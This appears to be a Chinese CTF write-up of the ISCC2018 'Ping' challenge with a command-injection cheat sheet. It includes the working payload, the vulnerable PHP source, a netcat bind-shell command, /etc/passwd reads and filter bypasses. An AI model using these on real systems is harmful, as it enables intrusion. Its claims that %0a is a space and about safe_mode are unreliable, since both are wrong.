由ISCC2018-Web-Ping学习命令注入

由ISCC2018…

内容纲要

题面

请ping我的IP 看你会ping通吗

题解

进入题目只有题面这么一句话。

既然题面说了ping,自然很容易联想到命令注入这一块儿,之前没有好好用过命令注入,最近做了这题,顺便总结一下命令注入的相关知识。

好了,回归本题。经测试,?ip=xxx的确可以做到ping,根据提示,注入点也八九不离十就在这儿了。

测试了n多截断,都没有成功,包括& | ; (反引号) || && ,最后查到还有%0a,代表空格。。学习了。注入成功。

然后就是读取了,先ls一下,看到当前目录下只有index.php,cat看了一下,发现过滤情况。不过flag并不在这儿

        ';' => '',
        '|' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 1 ' . $target );
    }
    echo  "
{$cmd}
";
?>

而后直接ls / 到根目录,查看各个可疑的文件夹,在/home里发现flag,cat读取之。最终Payload为:index.php?ip=127.0.0.1%0Acat /home/flag

分析

这道题不得不说,还是吃了点苦头的。自己对命令注入了解甚少,当初培训讲过的也已经忘记了。所幸,CTF是学习的过程,学到东西就是好题。一开始找不到可用的截断的时候,用了神器commix,然而并没有跑出来。。这个应该还得继续研究一下。

OS Command Injection总结

0x00. Def.

系统提供命令执行类函数主要方便处理相关应用场景的功能.而当不合理的使用这类函数,同时调用的变量未考虑安全因素,就会执行恶意的命令调用,被攻击利用。

0x01.Causes

此类命令执行函数依赖PHP配置文件的设置,如果配置选项 safe_mode 设置为 off,此类命令不可执行,必须设置为 On
的情况下,才可执行。PHP 默认是关闭的。在安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用 safe_mode_exec_dir指令,或在编译PHP是加上 –with-exec-dir选项来指定,默认是/usr/local/php /bin。

0x02.Method

常见php命令注入函数:

eval(),,assert(), system(),preg_replace(), create_function, call_user_func, call_user_func_array,array_map(),反引号,ob_start(),exec(),shell_exec(),passthru(),escapeshellcmd(),popen(),proc_open(),pcntl_exec()

命令注入中有讲究的字符

'$'
';'
'|'
'-'
'('
')'
'反引号'
'||'
————以上是上题过滤的。
以下是查到的其他的:
'&&'
'&'
'}'
'{'

姿势

  • 检测一阶命令注入的最佳方式是尝试执行一个sleep命令
  • 在外部可以访问的端口上生成一个shell(仅适用于自定义netcat构建):nc -l -n -vv -p 80 -e /bin/bash (unix) 或 nc -l -n -vv -p 80 -e cmd.exe (windows)。
  • 如果想要知道目标主机名的长度,我们可以将主机名的输出通过管道符传递给wc -c命令。

绕过

  • 防护措施中使用最多的就是对于payload中空格的限制。

    OS命令注入中的空格:

    • bash
      空格可以替换为%20、%09(tab)、%2b(+) in url、{IFS}
    • Win shell
      空格可以替换为%20、%09(tab)、%0b、%0c、%2b(+) in url

    花括号扩展:

    • 如:;{cat,/etc/passwd}'

参考文章

  • FREEBUF 命令注入与挖洞 http://www.freebuf.com/vuls/139924.html
  • FREEBUF i春秋关于命令注入的分享http://www.freebuf.com/column/146503.html
harmoc

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注